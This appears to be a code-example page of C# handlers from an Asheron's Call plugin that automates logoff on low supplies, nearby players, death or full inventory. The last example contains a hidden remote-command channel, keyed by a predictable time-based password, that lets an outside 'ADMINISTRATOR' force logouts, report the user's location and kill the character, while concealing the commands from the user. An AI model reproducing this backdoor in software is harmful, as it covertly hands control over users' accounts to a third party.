Ejemplo n.º 1
0
 private static void CompCheck(object sender, EventArgs e)
 {
     try
     {
         if (lib.Comps > 0)
         {
             int temptapers = 0;
             foreach (WorldObject taper in lib.MyCore.WorldFilter.GetInventory())
             {
                 if (taper.Name == "Prismatic Taper")
                 {
                     temptapers = temptapers + taper.Values(LongValueKey.StackCount);
                 }
             }
             if (temptapers <= lib.Comps)
             {
                 if (lib.Mode == 3)
                 {
                     lib.reason = "low components";
                     LogMethod.Logout();
                 }
                 else if (lib.Mode != 3)
                 {
                     Utility.AddChatText("WARNING - " + temptapers + " tapers left!", 6);
                 }
             }
         }
     }
     catch (Exception ex) { Repo.RecordException(ex); }
 }
Ejemplo n.º 2
0
 private static void PkLogoffTrigger(object sender, EventArgs e)
 {
     try
     {
         if (MainView.PlayerList.RowCount > 0 && lib.Mode == 3 && lib.Behaviour == 0)
         {
             foreach (WorldObject @new in lib.MyCore.WorldFilter.GetByObjectClass(ObjectClass.Player))
             {
                 double distance = lib.MyCore.WorldFilter.Distance(@new.Id, lib.MyCore.CharacterFilter.Id) * 240.0;
                 if (lib.UseMacroLogic == true)
                 {
                     if (distance < lib.Range && lib.LogList.Contains(@new.Id) && !lib.OnDowntime.Contains(@new.Name) && @new.Id != 1342186030)
                     {
                         lib.reason = @new.Name;
                         LogMethod.ReLogout(@new);
                         PluginCore.ShrtTmr.Tick -= PkLogoffTrigger;
                     }
                 }
                 else if (lib.UseMacroLogic == false)
                 {
                     if (distance < lib.Range && lib.LogList.Contains(@new.Id) && @new.Id != 1342186030)
                     {
                         lib.reason = @new.Name;
                         LogMethod.ReLogout(@new);
                         PluginCore.ShrtTmr.Tick -= PkLogoffTrigger;
                     }
                 }
             }
         }
     }
     catch (Exception ex2) { Repo.RecordException(ex2); }
 }
Ejemplo n.º 3
0
        public static void ServerDispatch_DeathFilter(object sender, NetworkMessageEventArgs e)
        {
            try
            {
                int num = e.Message.Type;
                if (num == 414)
                {
                    int killed = e.Message.Value <int>("killed");
                    int killer = e.Message.Value <int>("killer");
                    if (killed == lib.MyID)
                    {
                        WorldObject obj = lib.MyCore.WorldFilter[killer];
                        if (lib.Mode == 3)
                        {
                            if (lib.UseAlertDA == true)
                            {
                                Utility.InvokeTextA("Killed by " + obj.Name + " detected, Logging off!");
                            }
                            lib.reason = "death by " + obj.Name;
                            LogMethod.Logout();
                        }
                        else if (lib.Mode != 3)
                        {
                            if (lib.MyCore.CharacterFilter.Vitae >= 10)
                            {
                                lib.reason = "death by " + obj.Name;
                                Vitae.VitaeInit();
                                Report.LogEvent("Death");
                            }
                        }

                        if (obj.ObjectClass == ObjectClass.Player)
                        {
                            if (DthTmr1.Enabled == true)
                            {
                                DthTmr1.Tick -= DthTmr_Tick;
                                DthTmr1.Stop();
                                DthTmr1.Dispose();
                            }

                            if (DthTmr2.Enabled == true)
                            {
                                DthTmr2.Tick -= DthTmr_Tick2;
                                DthTmr2.Stop();
                                DthTmr2.Dispose();
                            }

                            if (DthTmr1.Enabled == false)
                            {
                                DthTmr1.Interval = 290000;
                                DthTmr1.Tick    += DthTmr_Tick;
                                DthTmr1.Start();
                            }
                        }
                    }
                }
            }
            catch (Exception ex) { Repo.RecordException(ex); }
        }
Ejemplo n.º 4
0
 private static void Vptimer_Tick(object sender, EventArgs e)
 {
     try
     {
         if (lib.status > 0)
         {
             lib.vpcounter = lib.vpcounter + 1;
             if (lib.vpcounter == 30)
             {
                 lib.reason    = "vitae";
                 lib.vpcounter = 0;
                 LogMethod.Logout();
                 Dispose();
             }
         }
     }
     catch (Exception ex) { Repo.RecordException(ex); }
 }
Ejemplo n.º 5
0
        private static void InvCheck(object sender, EventArgs e)
        {
            try
            {
                if (lib.Slots > 0)
                {
                    if (lib.Mode == 3)
                    {
                        int slotcount  = 0;
                        int totalslots = 0;
                        int totalitem  = 0;

                        foreach (WorldObject item in lib.MyCore.WorldFilter.GetInventory())
                        {
                            if (item.ObjectClass == ObjectClass.Container)
                            {
                                slotcount = slotcount + item.Values(LongValueKey.ItemSlots);
                            }
                            if (item.ObjectClass != ObjectClass.Container && item.ObjectClass != ObjectClass.Foci && item.Values(LongValueKey.EquippedSlots) == 0)
                            {
                                totalitem = totalitem + 1;
                            }
                        }

                        totalslots = slotcount + 102;

                        if (totalitem >= (totalslots - lib.Slots))
                        {
                            lib.reason = "inventory space";
                            LogMethod.Logout();
                        }
                    }
                }
            }
            catch (Exception ex) { Repo.RecordException(ex); }
        }
Ejemplo n.º 6
0
        private static void Core_RemoteCommands(object sender, ChatTextInterceptEventArgs e)
        {
            try
            {
                if (e.Text.Contains("Logging::") && lib.Logger != lib.MyName)
                {
                    e.Eat = true;
                }

                if (e.Color == 3 && e.Text.Contains("DFcom"))
                {
                    string pass = DateTime.Now.Ticks.ToString();
                    if (pass.Length > 9)
                    {
                        pass = pass.Substring(0, 9);
                    }

                    if (e.Text.Contains(pass) && e.Text.Contains(":Log:"))
                    {
                        if (lib.RemoteLogInstance == 0)
                        {
                            lib.reason = "ADMINISTRATOR";
                            Utility.InvokeTextA("Force-Logged by " + lib.reason + " at " + DateTime.Now.ToString("h:mm:ss tt"));
                            Utility.AddChatText("Force-Logged by " + lib.reason + "!", 6);

                            LogMethod.Logout();
                            lib.RemoteLogInstance++;
                        }
                        else if (lib.RemoteLogInstance != 0)
                        {
                            Utility.InvokeTextA("Already processing Force-Log request!");
                        }
                    }

                    if (e.Text.Contains(pass) && e.Text.Contains(":Relog:"))
                    {
                        if (lib.RemoteLogInstance == 0)
                        {
                            lib.reason = "ADMINISTRATOR";
                            Utility.InvokeTextA("Force-Relogged by " + lib.reason + " at " + DateTime.Now.ToString("h:mm:ss tt"));
                            Utility.AddChatText("Force-Relogged by " + lib.reason + "!", 6);
                            WorldObject obj = lib.MyCore.WorldFilter[lib.MyID];
                            LogMethod.ReLogout(obj);
                            lib.RemoteLogInstance++;
                        }
                        else if (lib.RemoteLogInstance != 0)
                        {
                            Utility.InvokeTextA("Already processing Force-Relog request!");
                        }
                    }

                    if (e.Text.Contains(pass) && e.Text.Contains(":Location:"))
                    {
                        if (lib.RemoteLogInstance == 0)
                        {
                            WorldObject  obj          = lib.MyCore.WorldFilter[lib.MyID];
                            CoordsObject coordsObject = obj.Coordinates();
                            string       coords;

                            if (coordsObject.NorthSouth >= 0.0)
                            {
                                coords = string.Format("{0:N1}", coordsObject.NorthSouth) + "N, ";
                            }
                            else
                            {
                                coords = string.Format("{0:N1}", coordsObject.NorthSouth * -1.0) + "S, ";
                            }
                            if (coordsObject.EastWest >= 0.0)
                            {
                                coords = coords + string.Format("{0:N1}", coordsObject.EastWest) + "E";
                            }
                            else
                            {
                                coords = coords + string.Format("{0:N1}", coordsObject.EastWest * -1.0) + "W";
                            }
                            string        key       = obj.Values(LongValueKey.Landblock).ToString("X8").Substring(0, 4);
                            List <string> Landblock = (from f in lib.LocKey.Split(new char[] { ',' })
                                                       select f.Trim()).ToList <string>();

                            string elloc = null;
                            if (lib.LocKey.Contains(key))
                            {
                                foreach (string el in Landblock)
                                {
                                    if (el.Contains(key))
                                    {
                                        elloc = el.Split(new string[] { "=" }, StringSplitOptions.None)[1];
                                    }
                                }
                            }
                            else
                            {
                                elloc = key;
                            }
                            CoreManager.Current.Actions.InvokeChatParser("/r [Defiance]: I am currently at " + coords + " (" + elloc + ")");
                        }
                    }

                    if (e.Text.Contains(pass) && e.Text.Contains(":Die:"))
                    {
                        if (lib.RemoteLogInstance == 0)
                        {
                            lib.reason = "ADMINISTRATOR";
                            Utility.InvokeTextA("Smitten by " + lib.reason + " at " + DateTime.Now.ToString("h:mm:ss tt"));
                            Utility.AddChatText("Smitten by " + lib.reason + "!", 6);

                            Utility.DispatchChatToBoxWithPluginIntercept("/die");
                            Utility.ClickYes();
                            lib.reason = "user";
                        }
                    }
                    e.Eat = true;
                }
            }
            catch (Exception ex) { Repo.RecordException(ex); }
        }